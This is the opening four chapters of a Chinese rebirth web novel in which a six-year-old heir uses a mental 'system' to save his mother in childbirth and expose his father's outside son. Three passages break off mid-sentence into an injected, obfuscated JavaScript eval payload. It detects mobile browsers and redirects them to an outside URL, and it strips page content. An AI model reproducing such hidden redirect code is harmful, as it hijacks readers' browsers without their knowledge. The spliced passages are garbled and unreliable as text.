《金榜题名(科举)》 1. 第一章 “世子,侯爷罚你在祠堂反省,为夫人祈福,也是为你好……” 一把粗粝的声音如同十万只苍蝇在耳畔嗡嗡作响,吵得唐铭柯头痛欲裂,忍不住伸手朝声音来源处挥了一下,想要驱散这群没完没了的苍蝇。 “哎呦!世子你怎么能动手打老奴……”唐管家尖叫一声,又开始新一轮训话。 别看他年纪大,可中气十足,教训起人来那话术更是一套一套的,如同一串魔音穿脑,喋喋不休的话语如同江河之水,绵延不绝。 其实唐铭柯根本没能推开他,反而是自己被反震得一个倒仰,四仰八叉地倒在地上,艰难地睁开眼,看到左侧灵堂上摆着的六个灵牌,正是承恩侯唐家的祠堂。 唐铭柯一个激灵,祠堂、夫人、祈福? 再低头一看自己的小手小脚,终于明白:他重生了,回到了六岁半阿娘还没死的这一日。 “阿娘?我阿娘呢?”他一骨碌爬起身来,急急追问。十几年过去,他已经记不清自己当初为什么会受罚在祠堂反省,但十几年没见的阿娘,却是他此时此刻最想见的人。 唐管家的三角眼一眯,“若不是世子冲撞夫人,导致夫人早产,侯爷又怎会罚你在此反省?你还是好生在此祈福,等夫人生产之后,侯爷自会让你去夫人面前认错……” “哎哎哎!世子你往哪里去?你不能出去……” 他的话还没说完,唐铭柯已经从他张开的手臂下面如同猴子般钻了过去,撒腿就朝着内院方向跑去。 老管家气急败坏的叫声,和着风声一起被他丢在脑后。 他的速度极快,快得连自己都无法想象,甚至连被老管家叫来的仆从们想要拦(抓)住他,都被他像猴子一样连躲带闪,甚至连滚带爬,从他们的手臂下钻过去。 加上他现在依然有着侯府世子的身份,素来得侯夫人宠爱,哪怕这次冲撞了侯夫人导致她早产,也只是被侯爷关在祠堂思过,连打都没舍得打一下,顶多被老管家的魔音穿脑骚扰,普通下人哪里敢真对他下狠手。 哪里像前世他被逐出侯府后流落街头,被那些地痞流氓欺辱时,那些人可是真会下死手,他但凡躲得慢逃不了,就是一顿伤筋断骨的暴打,导致他断手断脚,煎熬了几年之后,最终还是成了乱葬岗中的一具白骨。 他甚至还能记得,在奄奄一息时,被野狗撕咬的疼痛,那时他连动都动不了,只能眼睁睁看着自己的生命流逝,无能为力。 也正是在死后,他才知道,他那一世的遭遇,根本不是他原本的命运,而是被人算计,被人更改,被人窃取了他的气运文气,才会落得那样凄惨悲凉的结局。 一切变故的开始,就是从母亲这次难产暴毙开始。 “世子!世子!” “拦住世子!” “世子你不能进……” 从祠堂到内院其实并不算太远,尤其是这会儿内院的人大多都集中在瑞麟阁,从前院的祠堂到正院、内院,这一路上几乎没什么人,唐铭柯甩开了老管家和前院的仆人后,一进内院就直接绕过穿堂游廊,先藏在假山后,眼睁睁看着追来的护院和下人们从自己头顶上跑过。 这座假山下的山洞并不大,甚至在成年人看来根本不能称之为山洞,无法藏人。 可对于一个六岁的孩子来说,已经足够让他蜷缩起来把自己塞进这处小小的山洞中,甚至这种满满当当的黑暗空间,还让他有种隐秘的安全感,就好像回到了胚胎时期,有母亲的保护,可以挡住外面所有的风刀霜剑。 上一世,在母亲去世后,父亲接回了那个外室子后,他在侯府中的地位一落千丈,甚至到后来奶娘作证,说他是母亲为了保住地位从外面抱回来的孩子,不但被剥夺世子身份,甚至被打断腿丢出了侯府,沦落为街头乞儿。 从那以后,无论他如何努力,如何挣扎,命运总会在他刚有起色的时候,再将他重重击倒,一次又一次将他陷于卑贱屈辱之中,直到凄惨地死去。 假山山洞里一片漆黑,外面仍有凌乱的脚步声传来。 唐铭柯一口咬住自己的手臂,感觉到疼痛,感觉到自己还活着,这一切并不是做梦。 屈辱、悲愤、不甘的情绪犹如惊涛骇浪,在六岁幼童的脑海中翻涌着,让他头痛欲裂,却依旧在努力回忆,想要找回当初与母亲去世有关的信息,想要从中寻找母亲和自己的一线生机。 “快找!世子进了这个院子后才不见了的,一定没跑远,到处找找,看他藏到哪里去了!” “是!”十几道声音同时响应。 唐铭柯心下发冷,努力克制自己急剧跳动的心脏和粗重的呼吸。 缓口气,好好想一想,怎样才能救母亲,救自己。 “滴!检索到重生者,核对信息,符合系统要求,绑定中……” 突兀的声音在脑海中响起,唐铭柯惊得差点跳起来,结果一头撞在假山洞上方,痛得一手抱头,一手捂嘴,两只眼睛里已经是泪汪汪的一片,却没发出半点声音来。 “你你你是什么东西?为什么会在我脑子里说话?” 一瞬间,他脑中转过无数个念头,曾经看过的各种志怪神魔话本中,就曾有过被鬼附身,被妖魔夺舍的,不知道自己现在遇到的这个是什么情况。 难道他刚刚重生,就要被这诡异的玩意儿再次杀死,那他重生有何意义? “别怕别怕!我可不是那种夺舍害人的妖魔鬼怪,我是正经系统,是专门帮助你这种被非法系统宿主害死的无辜者……” “非法系统?宿主?这都是什么东西?”唐铭柯听得一头雾水,完全无法理解,甚至怀疑这是妖魔的新型骗术。 系统无语了一下下,对于跟本地土著的交流困难并没有什么耐心,还是将它搜集到的信息一股脑直接传入他的脑中。 巨大的信息量冲入脑海,让唐铭柯忍不住一阵眩晕,只是片刻之后,他就忍不住握紧了拳头,细小的乳牙甚至在唇上咬出了一排血痕,腥甜的血腥气进入口中,反倒让他清醒过来。 系统给他的,是他前世的经历。 哦不对,应该是他原本的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716365|173729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命运,以及被人抢夺气运后改变的人生。 以及……抢夺他气运的那个人,来自另一个世界的记忆。 系统还十分贴心地对他解释:“因为你是受害者,所以我把那个非法穿越者和他系统所携带的信息都传输给你,免得你再被他坑了。” 唐铭柯没有说话,他还在消化刚刚接收到的信息。 原来前世的一切,并非是他倒霉运气差,而是被一个来自异界的穿越者,带着一个什么逆袭系统,靠着打压和吸收他的气运,走上人生巅峰。 而他,则是成了对方的垫脚石。 现在他顾不得去想那么多,仇要报,但现在第一要紧的是从系统提供的信息里,寻找能够救下母亲的办法。 幸好他前世虽多灾多难,遭受过不少磨难,却也锻炼出坚韧不拔的心智,远非一个寻常的六岁幼童,才能在这么短时间内接受如此之大的信息量,并从中提取到有用的内容。 “系统,我要怎样才能救回母亲?” 从那个非法穿越者的记忆里,唐铭柯看到他常用的一句话:“内事不决问度娘,外事不决问狗哥,装逼打脸上知否,种草拔草吃红薯。”说的就是他原本那个世界里,一些用来搜集整理信息的系统工具。 在他看来,自己脑中的这个系统,或许就跟那些度娘狗哥知否红薯差不多吧。 不得不说,虽然理解有偏差,但错误的使用方法,还是得到了系统正确的答案。 系统:“你母亲难产是因为怀孕期间补充营养过度,导致胎儿过大,加上身体虚弱,生产时昏迷,胎儿窒息,产妇大出血,最终一尸两命……” 它的声音毫无起伏,像是个没有感情的死物一般,却听得唐铭柯心惊肉跳,急切地问道:“那怎么办?要怎样才能救我母亲?” 他咬咬牙,“只要能救下我母亲,你让我干什么都可以!” 前世他最快乐的时光,就是母亲在世的时候,自从母亲去世,他就失去了一切,而如今他得到了重生的机会,无论如何,也要争取救下母亲。 系统:“……放心,我是来帮你的,不会对你提什么非法要求的。” “其实要救她也不难,只要想办法让她醒来,提升她的求生意志,保持清醒的情况下,还是有很大机会生下孩子的。” “只不过这样的话,你就不能继续藏在这里了。” 唐铭柯定了定神,“明白了,我会想办法的!” 外面的声音渐渐远去,显然那些人在这里没找到他,肯定去瑞麟阁找他,哪怕现在找不到,只要守在那里,他最终肯定会去,守株待兔,一点问题都没有。 唐铭柯看了眼瑞麟阁的方向,又回头看看祠堂那边,一咬牙,转头朝祠堂方向跑过去。 没多久,祠堂里的烛台翻倒,烛火落在垂下的帷幔上,火焰腾地蹿起,很快朝外蔓延而去。 “走水了!祠堂起火了!快来救火啊!” 满脸惊惶的唐铭柯从里面跑出来,“救命!有人想要烧死我!快带我去见我娘!快!——” 2. 第二章 第二章救母 “走水了!快救火!快救火!” 前院的仆从和侍卫们呼喊奔跑,紧张地跑来跑去,一听到唐铭柯说有人要放火害他,要去见夫人的时候,一时间没想太多,就有两个侍卫带着他直奔内院,其他人则留下来救火。 这时候,大家才发现,原本放在前院里的几个大水缸不知道什么时候都裂开,里面的水已经流尽。 这些水缸里有的养鱼,有的种着睡莲,算是园中一景,但更重要的作用是在走水时用来救火,这会儿大家才发现水缸一个个不是开裂就是破洞,根本无水可用。 这样一来,要救火就得现从水井打水,且不说前院的那口水井距离祠堂最远,一次只能提一桶水上来,等一桶桶水打上来运到这里,祠堂恐怕都要被烧干净了。 众人只能将中院的仆从和侍卫也都喊了来,包括内院的粗使婆子,不光从中院和内院的水井打水,还要用上大小厨房的水桶水缸,从后院那处荷花池里打水救火。 如此一来,整个侯府几乎所有人都被喊去前院救火,唯一还有人守着的,就只剩下瑞麟阁。 看着满院子的人都慌慌张张地朝着前院跑去,跟着唐铭柯来到瑞麟阁门口的两个侍卫也不由得紧张起来。 唐铭柯反而镇定地说道:“我自己进去就行,你们还是赶紧回去帮忙救火,或者去通知父亲,不必在此候着了。” 两个侍卫对视了一眼,他们也都知道侯夫人此时在瑞麟阁待产,自是不会让外男入院,在门外等着,和回去救火,孰轻孰重,自然不用多想,当即便应下:“我等这就去禀报侯爷,世子不必担心。” 看着两人匆匆离去,唐铭柯这才稍稍松了口气。 他还是故意走得慢些,反正他人小腿短还受了惊吓走不快也正常,待系统通知他原本守在瑞麟阁外的老管家已经带人去前院救火,这才带着他们过来。 只要两边不撞上,他这个世子的身份还能起点作用,唬得住一些不明情况的下人。 毕竟,在母亲活着的时候,他一直是承恩侯府唯一的儿子,最受宠的世子,还是承恩侯的脸面,带出去人人称羡的小神童。 脑中的这个系统,居然还能“看”到他视线之外的情况,倒是给了他一个惊喜。 系统:“这算什么,目前你年纪小精神力不足,开的地图不够大,我的监控范围仅限于侯府内,若是等你长大精神力足够,我还能帮你监控更大范围。” 有系统帮助,唐铭柯对目前瑞麟阁内留守的人员情况便了若指掌。 除了已经昏迷在产床上的侯夫人林若曦之外,还有两个接生婆,林氏的奶嬷嬷王氏,贴身大丫鬟红叶,另外还有四个小丫鬟和两个粗使婆子在外看火烧水打下手,并未在产房之中。 得知母亲已经昏迷,唐铭柯便直接走了进去,正好看到一个粗使婆子端着盆血水从产房中走出来,心里登时一紧,脚步又加快了几分。 “母亲!母亲!——”他高声叫着,让产房里的几人都吓了一跳。 红叶连忙走了出来,“世子怎么来了?夫人正在要紧关头,你可不能进去……” “添乱”两个字还没说出口,唐铭柯却冷冷地瞥了她一眼,轻斥一声:“让开!” 红叶一怔,莫名地心底一寒,竟是没敢动手阻拦这个才不过六岁的世子,眼睁睁看着他从自己面前走过,径直朝产房里走去。 她回过神来,立刻追上去,边追边喊:“世子!世子你不能进去!” 喊归喊,追归追,她始终没有真的加速追上或是伸手拉住他。 只是她的喊声已经惊动了屋里的人,王嬷嬷立刻绕过屏风,挡在了刚刚进门的唐铭柯面前。 “哎呀,我的世子爷啊,这产房可不是你能进的。你还是赶紧出去吧,若是被侯爷知道了,肯定要罚你。可别让老奴为难……” “母亲!母亲!阿娘!——”唐铭柯却不管她,只是高声呼喊着,从一开始的“母亲”,到充满孺慕之情的“阿娘”,几乎要哭出声来,“阿娘你快醒醒,阿娘!” 孩童的声音尖利刺耳,别说是王嬷嬷,连里面的两个接生婆听着都忍不住皱眉,暗暗腹诽王嬷嬷怎地如此无用,连个小孩都无法控制。 关注外面的她们,完全没有注意到,原本产床上已经陷入昏迷的林夫人,却皱起了眉,紧闭的眼皮下,眼珠在轻轻地转动着,挣扎着,没多会儿竟然重新睁开眼,张开已经有些干涸裂口的双唇,艰难地发出了声音: “铭哥儿,是你吗?” “阿娘!——” 林夫人的声音虽然轻飘飘的并不大,但传入王嬷嬷的耳中,成功地让她浑身僵硬,让唐铭柯成功绕过她的阻拦,冲进屏风后的产房区域。 “夫人!产房血光之地,不可让世子在此啊!”接生婆和王嬷嬷几乎同时叫了起来。 两个接生婆上前想要拉走唐铭柯,可这小孩却像是滑不留手的泥鳅一样,让她们根本抓不住,反而互相挤撞在一起,连王嬷嬷也被挡住。 唐铭柯趁机蹿到了产床前,扑到了林夫人身边,凑到她的耳畔,急促地说道:“阿娘,你快振作起来,如果你出事,父亲就会带一个外室子回来顶替我,把我赶出侯府了!阿娘,阿娘!” 林夫人的眼睛骤然睁大,流露出难以置信的神色:“他……他敢?!” 唐铭柯这会儿已经是涕泪横流,哪怕一开始有些做戏的成分,可是想起前世自己的悲惨遭遇,和今生即将面临的一切,幼童的身体情不自禁地真情流露,哭得那叫一个稀里哗啦,凄凄惨惨,就连回过神来的王嬷嬷和接生婆都不敢靠近。 “阿娘,阿娘你看王嬷嬷和这些婆子们现在就敢欺负我,还有老管家他们要抓我去祠堂罚跪,不给我饭吃,还有人放火想烧死我……要是没有你,我就要被他们欺负死了啊呜呜呜哇哇……” 一边哭喊着,一边抱着林夫人的手臂,小手按照系统的指引,用力地掐在她的虎口、掌心几处穴位上,让她的神经受到刺激,无法再次进入昏迷。 林夫人本也不是寻常柔弱女子,听到儿子的哭诉后,原本昏昏沉沉的思绪,朦朦胧胧的视线,瞬间被怒火点燃,火气燃起后,一股奇异的力量从心头升起,流向原本已经瘫软无力的身体,甚至连那股撕裂般的疼痛,都无法阻止她熊熊燃烧的怒火。 “他敢!我弄死他!” 很多时候,仇恨的力量,超越一切。 在唐铭柯言语和按压窍穴的刺激下,在心头升起的怒火冲击下,原本已经无力的身体像是重新注满活(火)力(气),卡在关键处难产的胎儿竟然也奇迹般地和着鲜血一起,滑出了产道。 唐铭柯放开手,及时接住了浑身是血的婴儿,冲着接生婆怒喝一声:“还不赶紧过来!” 接生婆再也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716366|173729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢作妖,赶紧接过婴儿,帮忙处理脐带,给产妇包扎止血,灌下参汤,甚至不敢再让那个胆大包天无视产房血污的小世子离开。 至于王嬷嬷,在唐铭柯当着林夫人的面,对她冷冷地说了句:“若是阿娘和我妹妹任何一个有什么意外,就算有父亲护着你,我也会请外祖母和舅舅出面,要你全家陪葬。” 冷血凶戾的话语,如同冰刀子一样,从小小孩童的口里吐出来,扎得王嬷嬷如坠冰窟,哪里还敢有半点违逆。 她甚至看到了林夫人若有所思的眼神中,同样燃起的杀意,和那小崽子一模一样,骇得她唯唯诺诺地退下后,狼狈地跑出去寻人求助。 林夫人喝下参汤后,又服用了早就备好的药丸,神智清明,已经恢复了许多,亲眼看着接生婆清理好女婴身上的血污,用包被裹好放到她身边后,就让人将她们带出去,先关押到偏房,等着她亲自处置。 至于红叶,在林夫人醒来的第一时间,就已经逃之夭夭,连门都没敢进。 显然,这些人,都是前世林夫人难产而亡,一尸两命的帮凶。 好在红叶之下,林夫人还有四个陪嫁丫鬟,都是从林家带来的家生子,嫁给陪嫁铺子的掌柜后都当了管事娘子,她意外早产时虽然没能进来陪产,却也都在外面候着没有离开,连侯府前院祠堂起火都没去帮忙,这会儿正好被她安排去林家报讯。 承恩侯固然是皇亲国戚,一等侯爵,可林家却是大燕开国三公的定国公后裔,顶级武勋世家,绝非靠着裙带荫封的承恩侯府可比。 所以林夫人嫁妆丰厚不说,孕期的补品,待产的药物,原本都准备的十分充分,若不是这次意外早产,按照原本的准备,根本不至于出现难产而亡的情况。 只是本该在乏力时喝的鸡汤被放在一旁,用来含服的百年老参片压根没拿出来,就算林家事后派人来查验,有承恩侯和王嬷嬷红叶遮掩,根本看不出其中的问题,只能当她是运气不好。 毕竟,林夫人的早产,可是因为唐铭柯的冲撞,让她脚滑摔了一跤造成的。 正因为如此,唐铭柯被承恩侯罚跪祠堂,在林夫人死后,承恩侯带了个外室子回府,唐家不再是他一根独苗的时候,几年之后,王嬷嬷在临终前突然举告他并非林夫人亲生子,而是当初林夫人嫁入唐家三年无子,为免承恩侯纳妾再娶,买通大夫,假孕“产子”…… 于是,唐铭柯成了假世子,而那个外室子则成了承恩侯的亲儿子,林家记恨唐铭柯“害死”林夫人,并未出面,任由他被逐出承恩侯府。 林夫人抱着怀中的婴儿,听着唐铭柯讲他在“梦中”的遭遇,忍不住咬牙切齿。 “唐靖远,真有你的!” “居然还买通王婆子和红叶说我假孕,呵,你当初可是足月出生,怀胎十月,当中给我看过的除了长春堂的大夫之外,还有宫中御医,能买通一个,还能买通御医?” “铭哥儿,这梦是假的,你是娘怀胎十月生下的,哪个敢说你不是我生的,看我不打死她!” 唐铭柯两眼泪汪汪地看着她,用力点头:“嗯嗯,我就知道,有娘的孩子才是宝!娘,你和妹妹都好好的,我就安心了。” 林夫人低头看了眼襁褓中熟睡的女儿,再看看一脸余悸未消的儿子,想到自己差点就被身边人坑死,就忍不住揉了把他的脑袋。 “放心,以后的事,交给娘吧!” 3. 第三章 承恩侯唐靖远带着御医回到家的时候,前院从祠堂开始的两个院子,几乎都被烧成了一片白地。 满院子的仆从和侍卫都快被累瘫在地上,老管家更是吼得嗓子都哑了,依然没能抢救回祠堂里的唐家祖宗牌位,甚至连头发和衣服都被烧焦了好几处,显得格外狼狈。 就这样,承恩侯也没放过他:“让你看着祠堂,你就这么看的?世子呢?” 老管家慌张地跪地告罪:“世子……世子跑去瑞麟阁,是老奴办事不力……” “瑞麟阁?”承恩侯皱了皱眉,“夫人醒了?她还护着那个逆子?” 一到家他就先让人送御医去瑞麟阁,自己先找来老管家问话,原本他就是借着去宫中为受到惊吓早产的林夫人请御医的理由出门,这样就算府中发生了什么事,林家想追究也追不到他的头上。 毕竟,承恩侯夫妻恩爱,尤其是他爱妻情深,不纳妾不去青楼的好名声,可是在京城独一份的。 就算管教孩子时严厉了点,那也是为他好,若非如此,哪能培养出人人称羡的小神童。 可惜慈母多败儿,正是被林夫人惯坏了性子,才让这孩子最近任性乖张,甚至冲撞到自己母亲,害她早产,他只不过罚他在祠堂反省,居然就闹出这么多事,还谎称有人要害他,烧了祠堂,简直是胆大包天,一定要好生家法处置,免得变成个纨绔子弟,坏了唐家的家风名声。 等到王嬷嬷和红叶慌慌张张地求见,说小世子闯入产房,唤醒了林夫人,让她平安生下一个女儿时,承恩侯才变了脸色。 “你们这两个刁奴,竟敢冒犯世子,对夫人不利,拖下去重打五十板——” “侯爷饶命!侯爷饶命啊!” 王嬷嬷和红叶连忙求饶,刚想开话,却被承恩侯身边的侍卫上前重重两个耳光,当场打得脸颊高高肿起,吐出血来,里面还带着两颗牙。 接着就有四个家仆上前,将她们堵了嘴拖下去,根本不给她们开口的机会。 承恩侯揉揉额角,感觉有些头疼,正准备去内院探望夫人和刚出生的女儿,就听得外面传来一声叫喊。 “启禀侯爷,护国公、护国公府上来人了——” “滚开!——” 一阵嘈杂的脚步声和叫喊声中,一个身材高大魁梧的男子顶盔掼甲,挎着长剑横冲直撞进来,承恩侯府的护卫们一个个都被全副武装的士兵用刀剑指着,根本不敢上前阻拦。 承恩侯连忙迎了出去,强笑着说道:“舅兄到来,怎不让人提前知会一声,本侯好生相迎……” “唰!”来人正是护国公长子林若风,不等承恩侯说完,他手中长剑出鞘,直接架在了他的脖子上,“唐靖远!还不带我去见我妹妹,若是她有个什么三长两短,我就让你给她陪葬!” 承恩侯苦笑一声,“舅兄怕是有什么误会……是我教子无方,铭哥儿顽劣,冲撞到若曦,害她早产,如今母女平安……” 他的话还没说完,林若风已经将一张染血的丝帕直接摔在他的脸上,“平安?平安会让人送来血书求救?唐靖远,你做了什么事,你自己心里明白,若是让我查出什么,看我不撕了你!” “走,带我去见若曦!” 承恩侯一脸懵逼,他完全无法想象,林夫人从昏迷到产女这才过去多久,自己得到消息就从宫中赶出来,这大舅子竟然就已经接到“求救血书”赶来,这不对啊! 这血书,是谁写的?难不成林夫人早有察觉? 看着那丝帕上熟悉的字迹,鲜血淋漓,每个笔画都饱含怒意与仇恨,让他不由一个激灵,被林若风推搡着朝内院走去。 承恩侯府的侍卫和下人们面面相觑,既不敢上前,也不敢离开,只能小心地跟在后面。 大多数人根本不知道侯府中到底发生了什么变故,对于他们来说,承恩侯是主子,可林夫人也是主子,而且还是给他们发工钱的主子,谁也得罪不起,更不希望这两位闹出事来,侯府若是垮了,他们谁都讨不得好。 路过被烧成一片残垣断壁的祠堂时,承恩侯忍不住痛心疾首地对林若风说道:“这次都是铭哥儿惹的祸。若不是他冲撞了夫人,也不会闹出今日误会来。我不过罚他在祠堂反省,这混账竟是连祠堂都烧了……” “是你还是铭哥儿的问题,我得听若曦亲口说。”林若风冷冷地看着他,无法掩饰心底的怒火。 天知道那张沾满鲜血的求救信送入护国公府时,老夫人只看了一眼上面的字迹和半个血手印,就当场昏厥了过去。 若非如此,现在带人来的,就不是他而是老爷子了。 老父亲可不会对承恩侯像他这般客气,以老护国公的身份资历,就算是当场劈了这个忘恩负义的伪君子,皇上也得捏着鼻子认下这笔账。 只是就算杀了这厮,若是救不回妹妹,也于事无补。 他心急若焚地推搡着承恩侯进入内院,走到瑞麟阁门口时,见到是林夫人的两个陪嫁娘子守在那儿,连忙问道:“你们怎地在此?夫人可还好?” “夫人和小姐安好,世子也在里面陪着夫人。” 林若风刚松了口气,还没说话,就听承恩侯说道:“我就说夫人母女平安吧!舅兄可以安心了吧?来人,把铭哥儿带出来……” “谁敢!”里面传出林夫人虚弱却坚定的声音:“唐靖远,你害我不成,到现在还想害我的铭哥儿吗?” 承恩侯连忙说道:“夫人你误会了,定是铭哥儿记恨我罚他,在你面前胡言乱语。这逆子胆大包天,害你早产不说,我罚他跪祠堂反省,他竟是连祠堂都烧了,还跑到你这里来挑拨污蔑,如此忤逆不孝,真真是反了天了!” 林若风听得稀奇,不由得问道:“铭哥儿才不过六岁,怎么可能做出这等事来?” 如果他没记错,铭哥儿可是承恩侯亲口求皇上册封的世子,从三岁开蒙就崭露头角,过目成诵,五岁就会作诗,是京城有名的神童,也是承恩侯的骄傲,怎么一转眼,这爱子就变成了逆子? 承恩侯顿足不已,一脸沉痛后悔,“正因这孩子早慧,我对他寄予厚望,管教严了些,他却不学好,又嫉妒他母亲腹中胎儿,才闯下如此大祸!” “铭哥儿,只要你肯认错,向你母亲说明真相,为父就会原谅你的……” 语气中真情流露,完全是一副对儿子恨铁不成钢却又无可奈何的老父亲模样。 林若风听得也有些疑惑,架在承恩侯脖子上的剑不由放了下来。 屋中,唐铭柯听到久违了的父亲的声音,忍不住苦笑了一下,稚嫩的小脸上,流露出与年龄不符的悲伤和痛苦。 林夫人看得心疼,伸手轻轻搂了下他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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更何况,丈夫的心在不在,做妻子的,又怎会毫无察觉。只是她念着自己在孕期无法与他同房,哪怕觉察到他有些不妥之处,也都忍了,想着等生完孩子后再说。 可没想到,她还想着原谅他包容他,他却想要她的命! 唐铭柯终于忍不住哭出声来,扑在她的怀中,嚎啕大哭。 从上一世算起,他已经有十几年没有见过母亲了,曾经蒙受的冤屈,从克母害母到身份成假,被冤被逐被弃,经历无数折磨痛苦致死,到如今看到母亲活生生在面前,亲口对他说一句相信他的话,让他从重生后一直惴惴不安的心,终于安稳地放回胸中。 “娘——” “呜哇!——”躺在林夫人内侧的女婴被吵醒,也跟着哇哇大哭了起来,听得屋外的人都不由面面相觑,不知道里面是个什么情况。 “夫人?”承恩侯等不及了,“你刚刚生完孩子,身子虚弱,还需要好好休养,莫要为铭哥儿劳累费心,就把他交给我吧……” “你?”林夫人的声音隔着房门清晰地传出来,字字冷厉,声声如刀。 “你既然外面有了个好儿子,又何必跟我来抢铭哥儿?从今日起,我要跟你和离,铭哥儿以后跟我,与你断绝父子关系!” 4. 第四章 “和离?”X2 承恩侯和林若风几乎同时叫出声来,然后就对视一眼,流露出截然相反的神色。 一个惊恐心虚不敢相信,一个愤怒想刀人。 “没有!”承恩侯立刻后退了几步,连连摆手,一口否认:“我没有!我不是……夫人你误会我了,我绝对绝对没有在府外养孩子……” 林若风咬牙切齿地说道:“若曦说你有养,肯定不会冤枉你,你若不肯承认,那我就去把那野种找出来砍了!” “不要!” 承恩侯顿时就慌了,脱口而出,立刻就知道自己说漏了嘴,“不是!不是那样的……那……那孩子……我也是最近才知道他的……” “呵!”屋里屋外,林夫人和林若风兄妹几乎是同时冷笑一声。 林若风:“看来,你还不止一次,甚至连自己有多少野种,什么时候有的都不知道?” “呕——” 唐铭柯连忙扶住连连作呕却只吐出点清水的林夫人,担忧地看着她。 “娘,你现在可不能动气,你的身体可比什么都重要啊!”说着,他看了眼哇哇大哭的妹妹,提醒林夫人:“妹妹是不是饿了?” 这个时候,转移注意力,或许能够让她好过一点儿。 林夫人微微皱了下眉,冲着门外扬声问道:“哥,你给我带奶娘来了吗?” 承恩侯连忙抢着说道:“夫人,先前你不是挑了两个奶妈,都在庄子上养着,我这就让人给你送来。” “免了!”林夫人冷哼道:“连接生婆子都能在这关口背叛我,你唐家的奴才,我用不起!” 一想到若不是儿子将她叫醒,她早让人准备好的鸡汤参片恐怕都轮不到她自己用,或许等她死了之后,她们才会硬灌下去,让护国公府的人查也查不出问题,只当是她命不好,谁想到就连她自己的陪嫁嬷嬷和大丫鬟都会被收买背叛呢? 那养在庄子上的奶娘,就更不敢想了。 只是她现在满腔怒火,胸口涨得生疼,在听到承恩侯的话后,更是恶心的想吐又吐不出来,哪里还能给女儿喂奶。 林若风在外面听得有些尴尬地挠了下头,“这……我想着来救你,没想着带奶娘,我这就让人给你找一个送过来。不对,你还是跟我回家吧!” 他一个大男人,哪里能想到找奶妈伺候月子的细节,现在妹妹既然已经提出和离,当然要先将她带回家去,免得在这虎穴狼窝之中,不知又会闹出什么幺蛾子来。 承恩侯一听就急了,“夫人,你真的误会了。我从未想过接那孩子回府,更没想过害你。是红叶那贱婢勾引我不成,妄想害你,我已经命人将她拿下,你若是不信,可以将她找来……” “不必了。”林夫人深吸口气,刚才红叶和王嬷嬷离开后不再回来,她就已经猜到这两人的结局,就算现在找回来,她们哪里敢说出真相,左右都是一死,承恩侯手里拿捏着她们的把柄,问也问不出什么,反而看到她们只会让她看到自己以前的愚蠢。 “两个孩子都跟我一起回护国公府。” 她果断决定回家:“你自己清理自己做的事。十日之后,我会让人拿我的嫁妆单子过来,你肯和离就与我写封和离书,若是不肯,那便等着官府判义绝吧!” “不行!”承恩侯没想到她竟然如此绝情,“夫人你刚刚生完孩子,就算为夫有错,你也要看在两个孩子的面上,宽宥一二。为夫向你保证,若是再有心生妄想的女子靠近,一定先告诉你,交由你处置。” “夫人,我们可是经由皇上赐婚,岂可轻言和离?这可是违逆圣意之举,万万不可啊!” 林夫人听得不耐烦,没好气地说道:“就是因为两个孩子,这地方更没法待了。且不说我和当时未出世的孩儿,就连铭哥儿这样的孩子,你居然也任由人构陷他……还是原本就是你想要将他害死,再接外面的那个回府?” “虎毒尚不食子,唐靖远,这两个孩子都是我身上掉下的肉,我才不会留给你去糟蹋祸害他们。” “哥,麻烦你让人拆了这院子,用当初拉千工床的大马车来,带我回家。” 她刚生完孩子见不得风,可这地方她是一刻也待不下去。好在当初陪嫁的这张千工床就如同一个小房子般,只要将床帐围得密密实实,整个抬出去,也不会透什么风。 也幸好现在时值五月,并不算冷,否则这一趟出去,肯定更加遭罪。 不等承恩侯开口反对,林若风在一旁冷冷地说道:“放心,就算和离不成,我们护国公府,也不是养不起当当寡妇的女儿。” “来人,把这院子拆了,让匠作营的人来,将里面的房子整个给我搬回护国公府去。” “等等。”林夫人忽然开口,承恩侯还以为她转了心思,方才不过是在威胁拿捏他罢了,想着要提什么条件才好时,就听她继续说道:“大哥,有劳你送我们去南山的温泉庄子,等满月之后,我再回府向阿爹阿娘请罪。” 她一开始气头上说回护国公府,可真要走的时候,忽然想到父母年事已高,兄长也已经成亲生子,如今是嫂嫂管家,她自己回去倒也罢了,带着两个孩子,还有承恩侯的官司,若是引得家中不安倒是她的罪过了。 唐铭柯刚刚在她耳边提醒,她那个陪嫁的温泉山庄,冬暖夏凉,比在城中的宅院更安静舒适,正好适合她坐月子。 至于拆了院墙抬床还是连房子都拆了抬走,会不会太过招摇引起什么波澜,她根本不在乎。 身为护国公府唯一的嫡女,原本就是被娇宠着长大,也是她当初瞎了眼,看上前来参加会试的唐靖远,不介意他出身寒门,为给他撑脸面,用父兄的战功求得皇上赐婚。 可没想到他还有个进宫当宫女的妹妹,在赐婚后得了皇帝的青睐,竟是短短三年间就从宫女晋升到了贵妃,因皇后早逝,后宫无主,她凭借生下两个小皇子之功,负起掌理后宫之责,还让没能考上进士的唐靖远直接受封承恩侯,成了皇亲国戚。 